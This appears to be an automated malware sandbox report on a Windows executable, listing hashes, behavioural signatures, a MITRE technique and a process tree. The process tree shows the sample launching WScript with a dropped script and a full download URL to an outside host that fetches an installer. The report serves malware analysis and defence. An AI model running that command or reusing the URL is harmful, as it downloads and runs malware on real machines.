ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a

Analysis

max time kernel
173s
max time network
216s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
28/11/2022, 01:42

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General

Target

ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe
Size

184KB
MD5

33b3c9d4c1230d2f002c5811328bb66f
SHA1

fc8a35ae26ce4fb6fdeb5495aaae9977b8613f95
SHA256

ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a
SHA512

e650009edd902e4b59c0c1dfee1789dcca1b0167e3cc4771a1b09960ad2099f610a95e1fa1366bbaeab2aa6346b0e17cf2a612d572d710abb10d5ae62b8b9d68
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3O:/7BSH8zUB+nGESaaRvoB7FJNndnz

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
8	320	WScript.exe
12	320	WScript.exe
15	320	WScript.exe
18	536	WScript.exe
20	536	WScript.exe
22	536	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 836 wrote to memory of 320	836	ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe	28
PID 836 wrote to memory of 320	836	ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe	28
PID 836 wrote to memory of 320	836	ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe	28
PID 836 wrote to memory of 320	836	ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe	28
PID 836 wrote to memory of 536	836	ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe	31
PID 836 wrote to memory of 536	836	ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe	31
PID 836 wrote to memory of 536	836	ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe	31
PID 836 wrote to memory of 536	836	ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe	31

C:\Users\Admin\AppData\Local\Temp\ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe
"C:\Users\Admin\AppData\Local\Temp\ad81480544b6f70ce1b973aca64fdf7ec0330db43f646156988e54e88ff3ff1a.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:836
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1EB8.js" http://www.djapp.info/?domain=tgxFhcWxhZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf1EB8.exe
  2⤵
  - Blocklisted process makes network request
  PID:320
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1EB8.js" http://www.djapp.info/?domain=tgxFhcWxhZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf1EB8.exe
  2⤵
  - Blocklisted process makes network request
  PID:536

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf1EB8.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
memory/836-54-0x00000000759F1000-0x00000000759F3000-memory.dmp

Filesize
8KB

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